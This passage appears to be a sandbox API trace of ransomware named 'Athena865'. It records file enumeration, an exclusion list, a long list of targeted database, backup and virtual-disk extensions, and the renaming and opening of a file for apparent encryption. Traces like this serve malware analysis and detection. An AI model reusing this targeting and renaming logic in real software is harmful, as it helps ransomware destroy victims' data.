Size=0x104) returned 0x530d20 [0147.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0147.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0147.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0147.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.797] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0147.799] CloseHandle (hObject=0x154) returned 1 [0147.799] CloseHandle (hObject=0x17c) returned 1 [0147.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.800] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa53f300, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x51028f20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa53f300, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_COL.HXT", cAlternateFileName="VISIOS~1.HXT")) returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2=".") returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="..") returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="windows") returned -1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="bootmgr") returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="temp") returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="pagefile.sys") returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="boot") returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="ids.txt") returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="ntuser.dat") returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="perflogs") returned 1 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2="MSBuild") returned 1 [0147.800] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXT") returned 24 [0147.800] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.SHAPESHEET_COL.HXT" | out: lpString1="VISIO.SHAPESHEET_COL.HXT") returned="VISIO.SHAPESHEET_COL.HXT" [0147.800] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXT") returned 24 [0147.800] lstrlenW (lpString="Athena865") returned 9 [0147.800] lstrcmpiW (lpString1="T_COL.HXT", lpString2="Athena865") returned 1 [0147.800] lstrlenW (lpString=".dll") returned 4 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2=".dll") returned 1 [0147.800] lstrlenW (lpString=".lnk") returned 4 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2=".lnk") returned 1 [0147.800] lstrlenW (lpString=".ini") returned 4 [0147.800] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2=".ini") returned 1 [0147.800] lstrlenW (lpString=".sys") returned 4 [0147.801] lstrcmpiW (lpString1="VISIO.SHAPESHEET_COL.HXT", lpString2=".sys") returned 1 [0147.801] lstrlenW (lpString="VISIO.SHAPESHEET_COL.HXT") returned 24 [0147.801] lstrlenW (lpString="bak") returned 3 [0147.801] lstrcmpiW (lpString1="HXT", lpString2="bak") returned 1 [0147.801] lstrlenW (lpString="ba_") returned 3 [0147.801] lstrcmpiW (lpString1="HXT", lpString2="ba_") returned 1 [0147.801] lstrlenW (lpString="dbb") returned 3 [0147.801] lstrcmpiW (lpString1="HXT", lpString2="dbb") returned 1 [0147.801] lstrlenW (lpString="vmdk") returned 4 [0147.801] lstrcmpiW (lpString1=".HXT", lpString2="vmdk") returned -1 [0147.801] lstrlenW (lpString="rar") returned 3 [0147.801] lstrcmpiW (lpString1="HXT", lpString2="rar") returned -1 [0147.801] lstrlenW (lpString="zip") returned 3 [0147.801] lstrcmpiW (lpString1="HXT", lpString2="zip") returned -1 [0147.801] lstrlenW (lpString="tgz") returned 3 [0147.801] lstrcmpiW (lpString1="HXT", lpString2="tgz") returned -1 [0147.801] lstrlenW (lpString="vbox") returned 4 [0147.801] lstrcmpiW (lpString1=".HXT", lpString2="vbox") returned -1 [0147.801] lstrlenW (lpString="vdi") returned 3 [0147.801] lstrcmpiW (lpString1="HXT", lpString2="vdi") returned -1 [0147.801] lstrlenW (lpString="vhd") returned 3 [0147.801] lstrcmpiW (lpString1="HXT", lpString2="vhd") returned -1 [0147.801] lstrlenW (lpString="vhdx") returned 4 [0147.801] lstrcmpiW (lpString1=".HXT", lpString2="vhdx") returned -1 [0147.801] lstrlenW (lpString="avhd") returned 4 [0147.801] lstrcmpiW (lpString1=".HXT", lpString2="avhd") returned -1 [0147.801] lstrlenW (lpString="db") returned 2 [0147.801] lstrcmpiW (lpString1="XT", lpString2="db") returned 1 [0147.801] lstrlenW (lpString="db2") returned 3 [0147.802] lstrcmpiW (lpString1="HXT", lpString2="db2") returned 1 [0147.802] lstrlenW (lpString="db3") returned 3 [0147.802] lstrcmpiW (lpString1="HXT", lpString2="db3") returned 1 [0147.802] lstrlenW (lpString="dbf") returned 3 [0147.802] lstrcmpiW (lpString1="HXT", lpString2="dbf") returned 1 [0147.802] lstrlenW (lpString="mdf") returned 3 [0147.802] lstrcmpiW (lpString1="HXT", lpString2="mdf") returned -1 [0147.802] lstrlenW (lpString="mdb") returned 3 [0147.802] lstrcmpiW (lpString1="HXT", lpString2="mdb") returned -1 [0147.802] lstrlenW (lpString="sql") returned 3 [0147.802] lstrcmpiW (lpString1="HXT", lpString2="sql") returned -1 [0147.802] lstrlenW (lpString="sqlite") returned 6 [0147.802] lstrcmpiW (lpString1="OL.HXT", lpString2="sqlite") returned -1 [0147.802] lstrlenW (lpString="sqlite3") returned 7 [0147.802] lstrcmpiW (lpString1="COL.HXT", lpString2="sqlite3") returned -1 [0147.802] lstrlenW (lpString="sqlitedb") returned 8 [0147.802] lstrcmpiW (lpString1="_COL.HXT", lpString2="sqlitedb") returned -1 [0147.802] lstrlenW (lpString="xml") returned 3 [0147.802] lstrcmpiW (lpString1="HXT", lpString2="xml") returned -1 [0147.802] lstrlenW (lpString="$er") returned 3 [0147.802] lstrcmpiW (lpString1="HXT", lpString2="$er") returned 1 [0147.802] lstrlenW (lpString="4dd") returned 3 [0147.802] lstrcmpiW (lpString1="HXT", lpString2="4dd") returned 1 [0147.802] lstrlenW (lpString="4dl") returned 3 [0147.802] lstrcmpiW (lpString1="HXT", lpString2="4dl") returned 1 [0147.802] lstrlenW (lpString="^^^") returned 3 [0147.802] lstrcmpiW (lpString1="HXT", lpString2="^^^") returned 1 [0147.803] lstrlenW (lpString="abs") returned 3 [0147.803] lstrcmpiW (lpString1="HXT", lpString2="abs") returned 1 [0147.803] lstrlenW (lpString="abx") returned 3 [0147.803] lstrcmpiW (lpString1="HXT", lpString2="abx") returned 1 [0147.803] lstrlenW (lpString="accdb") returned 5 [0147.803] lstrcmpiW (lpString1="L.HXT", lpString2="accdb") returned 1 [0147.803] lstrlenW (lpString="accdc") returned 5 [0147.803] lstrcmpiW (lpString1="L.HXT", lpString2="accdc") returned 1 [0147.803] lstrlenW (lpString="accde") returned 5 [0147.803] lstrcmpiW (lpString1="L.HXT", lpString2="accde") returned 1 [0147.803] lstrlenW (lpString="accdr") returned 5 [0147.803] lstrcmpiW (lpString1="L.HXT", lpString2="accdr") returned 1 [0147.803] lstrlenW (lpString="accdt") returned 5 [0147.803] lstrcmpiW (lpString1="L.HXT", lpString2="accdt") returned 1 [0147.803] lstrlenW (lpString="accdw") returned 5 [0147.803] lstrcmpiW (lpString1="L.HXT", lpString2="accdw") returned 1 [0147.803] lstrlenW (lpString="accft") returned 5 [0147.803] lstrcmpiW (lpString1="L.HXT", lpString2="accft") returned 1 [0147.803] lstrlenW (lpString="adb") returned 3 [0147.803] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0147.803] lstrlenW (lpString="adb") returned 3 [0147.803] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0147.803] lstrlenW (lpString="ade") returned 3 [0147.803] lstrcmpiW (lpString1="HXT", lpString2="ade") returned 1 [0147.803] lstrlenW (lpString="adf") returned 3 [0147.803] lstrcmpiW (lpString1="HXT", lpString2="adf") returned 1 [0147.803] lstrlenW (lpString="adn") returned 3 [0147.803] lstrcmpiW (lpString1="HXT", lpString2="adn") returned 1 [0147.804] lstrlenW (lpString="adp") returned 3 [0147.804] lstrcmpiW (lpString1="HXT", lpString2="adp") returned 1 [0147.804] lstrlenW (lpString="alf") returned 3 [0147.804] lstrcmpiW (lpString1="HXT", lpString2="alf") returned 1 [0147.804] lstrlenW (lpString="ask") returned 3 [0147.804] lstrcmpiW (lpString1="HXT", lpString2="ask") returned 1 [0147.804] lstrlenW (lpString="btr") returned 3 [0147.804] lstrcmpiW (lpString1="HXT", lpString2="btr") returned 1 [0147.804] lstrlenW (lpString="cat") returned 3 [0147.804] lstrcmpiW (lpString1="HXT", lpString2="cat") returned 1 [0147.804] lstrlenW (lpString="cdb") returned 3 [0147.804] lstrcmpiW (lpString1="HXT", lpString2="cdb") returned 1 [0147.804] lstrlenW (lpString="ckp") returned 3 [0147.804] lstrcmpiW (lpString1="HXT", lpString2="ckp") returned 1 [0147.804] lstrlenW (lpString="cma") returned 3 [0147.804] lstrcmpiW (lpString1="HXT", lpString2="cma") returned 1 [0147.804] lstrlenW (lpString="cpd") returned 3 [0147.804] lstrcmpiW (lpString1="HXT", lpString2="cpd") returned 1 [0147.804] lstrlenW (lpString="dacpac") returned 6 [0147.804] lstrcmpiW (lpString1="OL.HXT", lpString2="dacpac") returned 1 [0147.804] lstrlenW (lpString="dad") returned 3 [0147.804] lstrcmpiW (lpString1="HXT", lpString2="dad") returned 1 [0147.804] lstrlenW (lpString="dadiagrams") returned 10 [0147.804] lstrcmpiW (lpString1="ET_COL.HXT", lpString2="dadiagrams") returned 1 [0147.804] lstrlenW (lpString="daschema") returned 8 [0147.804] lstrcmpiW (lpString1="_COL.HXT", lpString2="daschema") returned -1 [0147.804] lstrlenW (lpString="db-journal") returned 10 [0147.804] lstrcmpiW (lpString1="ET_COL.HXT", lpString2="db-journal") returned 1 [0147.805] lstrlenW (lpString="db-shm") returned 6 [0147.805] lstrcmpiW (lpString1="OL.HXT", lpString2="db-shm") returned 1 [0147.805] lstrlenW (lpString="db-wal") returned 6 [0147.805] lstrcmpiW (lpString1="OL.HXT", lpString2="db-wal") returned 1 [0147.805] lstrlenW (lpString="dbc") returned 3 [0147.805] lstrcmpiW (lpString1="HXT", lpString2="dbc") returned 1 [0147.805] lstrlenW (lpString="dbs") returned 3 [0147.805] lstrcmpiW (lpString1="HXT", lpString2="dbs") returned 1 [0147.805] lstrlenW (lpString="dbt") returned 3 [0147.805] lstrcmpiW (lpString1="HXT", lpString2="dbt") returned 1 [0147.805] lstrlenW (lpString="dbv") returned 3 [0147.805] lstrcmpiW (lpString1="HXT", lpString2="dbv") returned 1 [0147.805] lstrlenW (lpString="dbx") returned 3 [0147.805] lstrcmpiW (lpString1="HXT", lpString2="dbx") returned 1 [0147.805] lstrlenW (lpString="dcb") returned 3 [0147.805] lstrcmpiW (lpString1="HXT", lpString2="dcb") returned 1 [0147.805] lstrlenW (lpString="dct") returned 3 [0147.805] lstrcmpiW (lpString1="HXT", lpString2="dct") returned 1 [0147.805] lstrlenW (lpString="dcx") returned 3 [0147.805] lstrcmpiW (lpString1="HXT", lpString2="dcx") returned 1 [0147.805] lstrlenW (lpString="ddl") returned 3 [0147.805] lstrcmpiW (lpString1="HXT", lpString2="ddl") returned 1 [0147.805] lstrlenW (lpString="dlis") returned 4 [0147.805] lstrcmpiW (lpString1=".HXT", lpString2="dlis") returned -1 [0147.805] lstrlenW (lpString="dp1") returned 3 [0147.805] lstrcmpiW (lpString1="HXT", lpString2="dp1") returned 1 [0147.805] lstrlenW (lpString="dqy") returned 3 [0147.805] lstrcmpiW (lpString1="HXT", lpString2="dqy") returned 1 [0147.805] lstrlenW (lpString="dsk") returned 3 [0147.806] lstrcmpiW (lpString1="HXT", lpString2="dsk") returned 1 [0147.806] lstrlenW (lpString="dsn") returned 3 [0147.806] lstrcmpiW (lpString1="HXT", lpString2="dsn") returned 1 [0147.806] lstrlenW (lpString="dtsx") returned 4 [0147.806] lstrcmpiW (lpString1=".HXT", lpString2="dtsx") returned -1 [0147.806] lstrlenW (lpString="dxl") returned 3 [0147.806] lstrcmpiW (lpString1="HXT", lpString2="dxl") returned 1 [0147.806] lstrlenW (lpString="eco") returned 3 [0147.806] lstrcmpiW (lpString1="HXT", lpString2="eco") returned 1 [0147.806] lstrlenW (lpString="ecx") returned 3 [0147.806] lstrcmpiW (lpString1="HXT", lpString2="ecx") returned 1 [0147.806] lstrlenW (lpString="edb") returned 3 [0147.806] lstrcmpiW (lpString1="HXT", lpString2="edb") returned 1 [0147.806] lstrlenW (lpString="epim") returned 4 [0147.806] lstrcmpiW (lpString1=".HXT", lpString2="epim") returned -1 [0147.806] lstrlenW (lpString="fcd") returned 3 [0147.806] lstrcmpiW (lpString1="HXT", lpString2="fcd") returned 1 [0147.806] lstrlenW (lpString="fdb") returned 3 [0147.806] lstrcmpiW (lpString1="HXT", lpString2="fdb") returned 1 [0147.806] lstrlenW (lpString="fic") returned 3 [0147.806] lstrcmpiW (lpString1="HXT", lpString2="fic") returned 1 [0147.806] lstrlenW (lpString="flexolibrary") returned 12 [0147.806] lstrcmpiW (lpString1="HEET_COL.HXT", lpString2="flexolibrary") returned 1 [0147.806] lstrlenW (lpString="fm5") returned 3 [0147.806] lstrcmpiW (lpString1="HXT", lpString2="fm5") returned 1 [0147.806] lstrlenW (lpString="fmp") returned 3 [0147.806] lstrcmpiW (lpString1="HXT", lpString2="fmp") returned 1 [0147.806] lstrlenW (lpString="fmp12") returned 5 [0147.807] lstrcmpiW (lpString1="L.HXT", lpString2="fmp12") returned 1 [0147.807] lstrlenW (lpString="fmpsl") returned 5 [0147.807] lstrcmpiW (lpString1="L.HXT", lpString2="fmpsl") returned 1 [0147.807] lstrlenW (lpString="fol") returned 3 [0147.807] lstrcmpiW (lpString1="HXT", lpString2="fol") returned 1 [0147.807] lstrlenW (lpString="fp3") returned 3 [0147.807] lstrcmpiW (lpString1="HXT", lpString2="fp3") returned 1 [0147.807] lstrlenW (lpString="fp4") returned 3 [0147.807] lstrcmpiW (lpString1="HXT", lpString2="fp4") returned 1 [0147.807] lstrlenW (lpString="fp5") returned 3 [0147.807] lstrcmpiW (lpString1="HXT", lpString2="fp5") returned 1 [0147.807] lstrlenW (lpString="fp7") returned 3 [0147.807] lstrcmpiW (lpString1="HXT", lpString2="fp7") returned 1 [0147.807] lstrlenW (lpString="fpt") returned 3 [0147.807] lstrcmpiW (lpString1="HXT", lpString2="fpt") returned 1 [0147.807] lstrlenW (lpString="frm") returned 3 [0147.807] lstrcmpiW (lpString1="HXT", lpString2="frm") returned 1 [0147.807] lstrlenW (lpString="gdb") returned 3 [0147.807] lstrcmpiW (lpString1="HXT", lpString2="gdb") returned 1 [0147.807] lstrlenW (lpString="gdb") returned 3 [0147.807] lstrcmpiW (lpString1="HXT", lpString2="gdb") returned 1 [0147.807] lstrlenW (lpString="grdb") returned 4 [0147.807] lstrcmpiW (lpString1=".HXT", lpString2="grdb") returned -1 [0147.807] lstrlenW (lpString="gwi") returned 3 [0147.807] lstrcmpiW (lpString1="HXT", lpString2="gwi") returned 1 [0147.807] lstrlenW (lpString="hdb") returned 3 [0147.807] lstrcmpiW (lpString1="HXT", lpString2="hdb") returned 1 [0147.807] lstrlenW (lpString="his") returned 3 [0147.808] lstrcmpiW (lpString1="HXT", lpString2="his") returned 1 [0147.808] lstrlenW (lpString="ib") returned 2 [0147.808] lstrcmpiW (lpString1="XT", lpString2="ib") returned 1 [0147.808] lstrlenW (lpString="idb") returned 3 [0147.808] lstrcmpiW (lpString1="HXT", lpString2="idb") returned -1 [0147.808] lstrlenW (lpString="ihx") returned 3 [0147.808] lstrcmpiW (lpString1="HXT", lpString2="ihx") returned -1 [0147.808] lstrlenW (lpString="itdb") returned 4 [0147.808] lstrcmpiW (lpString1=".HXT", lpString2="itdb") returned -1 [0147.808] lstrlenW (lpString="itw") returned 3 [0147.808] lstrcmpiW (lpString1="HXT", lpString2="itw") returned -1 [0147.808] lstrlenW (lpString="jet") returned 3 [0147.808] lstrcmpiW (lpString1="HXT", lpString2="jet") returned -1 [0147.808] lstrlenW (lpString="jtx") returned 3 [0147.808] lstrcmpiW (lpString1="HXT", lpString2="jtx") returned -1 [0147.808] lstrlenW (lpString="kdb") returned 3 [0147.808] lstrcmpiW (lpString1="HXT", lpString2="kdb") returned -1 [0147.808] lstrlenW (lpString="kexi") returned 4 [0147.808] lstrcmpiW (lpString1=".HXT", lpString2="kexi") returned -1 [0147.808] lstrlenW (lpString="kexic") returned 5 [0147.808] lstrcmpiW (lpString1="L.HXT", lpString2="kexic") returned 1 [0147.808] lstrlenW (lpString="kexis") returned 5 [0147.808] lstrcmpiW (lpString1="L.HXT", lpString2="kexis") returned 1 [0147.808] lstrlenW (lpString="lgc") returned 3 [0147.808] lstrcmpiW (lpString1="HXT", lpString2="lgc") returned -1 [0147.808] lstrlenW (lpString="lwx") returned 3 [0147.808] lstrcmpiW (lpString1="HXT", lpString2="lwx") returned -1 [0147.808] lstrlenW (lpString="maf") returned 3 [0147.808] lstrcmpiW (lpString1="HXT", lpString2="maf") returned -1 [0147.809] lstrlenW (lpString="maq") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="maq") returned -1 [0147.809] lstrlenW (lpString="mar") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="mar") returned -1 [0147.809] lstrlenW (lpString="marshal") returned 7 [0147.809] lstrcmpiW (lpString1="COL.HXT", lpString2="marshal") returned -1 [0147.809] lstrlenW (lpString="mas") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="mas") returned -1 [0147.809] lstrlenW (lpString="mav") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="mav") returned -1 [0147.809] lstrlenW (lpString="maw") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="maw") returned -1 [0147.809] lstrlenW (lpString="mdbhtml") returned 7 [0147.809] lstrcmpiW (lpString1="COL.HXT", lpString2="mdbhtml") returned -1 [0147.809] lstrlenW (lpString="mdn") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="mdn") returned -1 [0147.809] lstrlenW (lpString="mdt") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="mdt") returned -1 [0147.809] lstrlenW (lpString="mfd") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="mfd") returned -1 [0147.809] lstrlenW (lpString="mpd") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="mpd") returned -1 [0147.809] lstrlenW (lpString="mrg") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="mrg") returned -1 [0147.809] lstrlenW (lpString="mud") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="mud") returned -1 [0147.809] lstrlenW (lpString="mwb") returned 3 [0147.809] lstrcmpiW (lpString1="HXT", lpString2="mwb") returned -1 [0147.810] lstrlenW (lpString="myd") returned 3 [0147.810] lstrcmpiW (lpString1="HXT", lpString2="myd") returned -1 [0147.810] lstrlenW (lpString="ndf") returned 3 [0147.810] lstrcmpiW (lpString1="HXT", lpString2="ndf") returned -1 [0147.810] lstrlenW (lpString="nnt") returned 3 [0147.810] lstrcmpiW (lpString1="HXT", lpString2="nnt") returned -1 [0147.810] lstrlenW (lpString="nrmlib") returned 6 [0147.810] lstrcmpiW (lpString1="OL.HXT", lpString2="nrmlib") returned 1 [0147.810] lstrlenW (lpString="ns2") returned 3 [0147.810] lstrcmpiW (lpString1="HXT", lpString2="ns2") returned -1 [0147.810] lstrlenW (lpString="ns3") returned 3 [0147.810] lstrcmpiW (lpString1="HXT", lpString2="ns3") returned -1 [0147.810] lstrlenW (lpString="ns4") returned 3 [0147.810] lstrcmpiW (lpString1="HXT", lpString2="ns4") returned -1 [0147.810] lstrlenW (lpString="nsf") returned 3 [0147.810] lstrcmpiW (lpString1="HXT", lpString2="nsf") returned -1 [0147.810] lstrlenW (lpString="nv") returned 2 [0147.810] lstrcmpiW (lpString1="XT", lpString2="nv") returned 1 [0147.810] lstrlenW (lpString="nv2") returned 3 [0147.810] lstrcmpiW (lpString1="HXT", lpString2="nv2") returned -1 [0147.810] lstrlenW (lpString="nwdb") returned 4 [0147.810] lstrcmpiW (lpString1=".HXT", lpString2="nwdb") returned -1 [0147.810] lstrlenW (lpString="nyf") returned 3 [0147.810] lstrcmpiW (lpString1="HXT", lpString2="nyf") returned -1 [0147.810] lstrlenW (lpString="odb") returned 3 [0147.810] lstrcmpiW (lpString1="HXT", lpString2="odb") returned -1 [0147.810] lstrlenW (lpString="odb") returned 3 [0147.810] lstrcmpiW (lpString1="HXT", lpString2="odb") returned -1 [0147.811] lstrlenW (lpString="oqy") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="oqy") returned -1 [0147.811] lstrlenW (lpString="ora") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="ora") returned -1 [0147.811] lstrlenW (lpString="orx") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="orx") returned -1 [0147.811] lstrlenW (lpString="owc") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="owc") returned -1 [0147.811] lstrlenW (lpString="p96") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="p96") returned -1 [0147.811] lstrlenW (lpString="p97") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="p97") returned -1 [0147.811] lstrlenW (lpString="pan") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="pan") returned -1 [0147.811] lstrlenW (lpString="pdb") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="pdb") returned -1 [0147.811] lstrlenW (lpString="pdm") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="pdm") returned -1 [0147.811] lstrlenW (lpString="pnz") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="pnz") returned -1 [0147.811] lstrlenW (lpString="qry") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="qry") returned -1 [0147.811] lstrlenW (lpString="qvd") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="qvd") returned -1 [0147.811] lstrlenW (lpString="rbf") returned 3 [0147.811] lstrcmpiW (lpString1="HXT", lpString2="rbf") returned -1 [0147.811] lstrlenW (lpString="rctd") returned 4 [0147.811] lstrcmpiW (lpString1=".HXT", lpString2="rctd") returned -1 [0147.812] lstrlenW (lpString="rod") returned 3 [0147.812] lstrcmpiW (lpString1="HXT", lpString2="rod") returned -1 [0147.812] lstrlenW (lpString="rodx") returned 4 [0147.812] lstrcmpiW (lpString1=".HXT", lpString2="rodx") returned -1 [0147.812] lstrlenW (lpString="rpd") returned 3 [0147.812] lstrcmpiW (lpString1="HXT", lpString2="rpd") returned -1 [0147.812] lstrlenW (lpString="rsd") returned 3 [0147.812] lstrcmpiW (lpString1="HXT", lpString2="rsd") returned -1 [0147.812] lstrlenW (lpString="sas7bdat") returned 8 [0147.812] lstrcmpiW (lpString1="_COL.HXT", lpString2="sas7bdat") returned -1 [0147.812] lstrlenW (lpString="sbf") returned 3 [0147.812] lstrcmpiW (lpString1="HXT", lpString2="sbf") returned -1 [0147.813] lstrlenW (lpString="scx") returned 3 [0147.813] lstrcmpiW (lpString1="HXT", lpString2="scx") returned -1 [0147.813] lstrlenW (lpString="sdb") returned 3 [0147.813] lstrcmpiW (lpString1="HXT", lpString2="sdb") returned -1 [0147.813] lstrlenW (lpString="sdc") returned 3 [0147.813] lstrcmpiW (lpString1="HXT", lpString2="sdc") returned -1 [0147.813] lstrlenW (lpString="sdf") returned 3 [0147.813] lstrcmpiW (lpString1="HXT", lpString2="sdf") returned -1 [0147.813] lstrlenW (lpString="sis") returned 3 [0147.813] lstrcmpiW (lpString1="HXT", lpString2="sis") returned -1 [0147.813] lstrlenW (lpString="spq") returned 3 [0147.813] lstrcmpiW (lpString1="HXT", lpString2="spq") returned -1 [0147.813] lstrlenW (lpString="te") returned 2 [0147.813] lstrcmpiW (lpString1="XT", lpString2="te") returned 1 [0147.813] lstrlenW (lpString="teacher") returned 7 [0147.813] lstrcmpiW (lpString1="COL.HXT", lpString2="teacher") returned -1 [0147.813] lstrlenW (lpString="tmd") returned 3 [0147.813] lstrcmpiW (lpString1="HXT", lpString2="tmd") returned -1 [0147.814] lstrlenW (lpString="tps") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="tps") returned -1 [0147.814] lstrlenW (lpString="trc") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="trc") returned -1 [0147.814] lstrlenW (lpString="trc") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="trc") returned -1 [0147.814] lstrlenW (lpString="trm") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="trm") returned -1 [0147.814] lstrlenW (lpString="udb") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="udb") returned -1 [0147.814] lstrlenW (lpString="udl") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="udl") returned -1 [0147.814] lstrlenW (lpString="usr") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="usr") returned -1 [0147.814] lstrlenW (lpString="v12") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="v12") returned -1 [0147.814] lstrlenW (lpString="vis") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="vis") returned -1 [0147.814] lstrlenW (lpString="vpd") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="vpd") returned -1 [0147.814] lstrlenW (lpString="vvv") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="vvv") returned -1 [0147.814] lstrlenW (lpString="wdb") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="wdb") returned -1 [0147.814] lstrlenW (lpString="wmdb") returned 4 [0147.814] lstrcmpiW (lpString1=".HXT", lpString2="wmdb") returned -1 [0147.814] lstrlenW (lpString="wrk") returned 3 [0147.814] lstrcmpiW (lpString1="HXT", lpString2="wrk") returned -1 [0147.815] lstrlenW (lpString="xdb") returned 3 [0147.815] lstrcmpiW (lpString1="HXT", lpString2="xdb") returned -1 [0147.815] lstrlenW (lpString="xld") returned 3 [0147.815] lstrcmpiW (lpString1="HXT", lpString2="xld") returned -1 [0147.815] lstrlenW (lpString="xmlff") returned 5 [0147.815] lstrcmpiW (lpString1="L.HXT", lpString2="xmlff") returned -1 [0147.815] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.Athena865") returned 82 [0147.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.athena865"), dwFlags=0x1) returned 1 [0147.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.817] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=216) returned 1 [0147.817] RtlAllocateHeap (HeapHandle=0x4f0000, 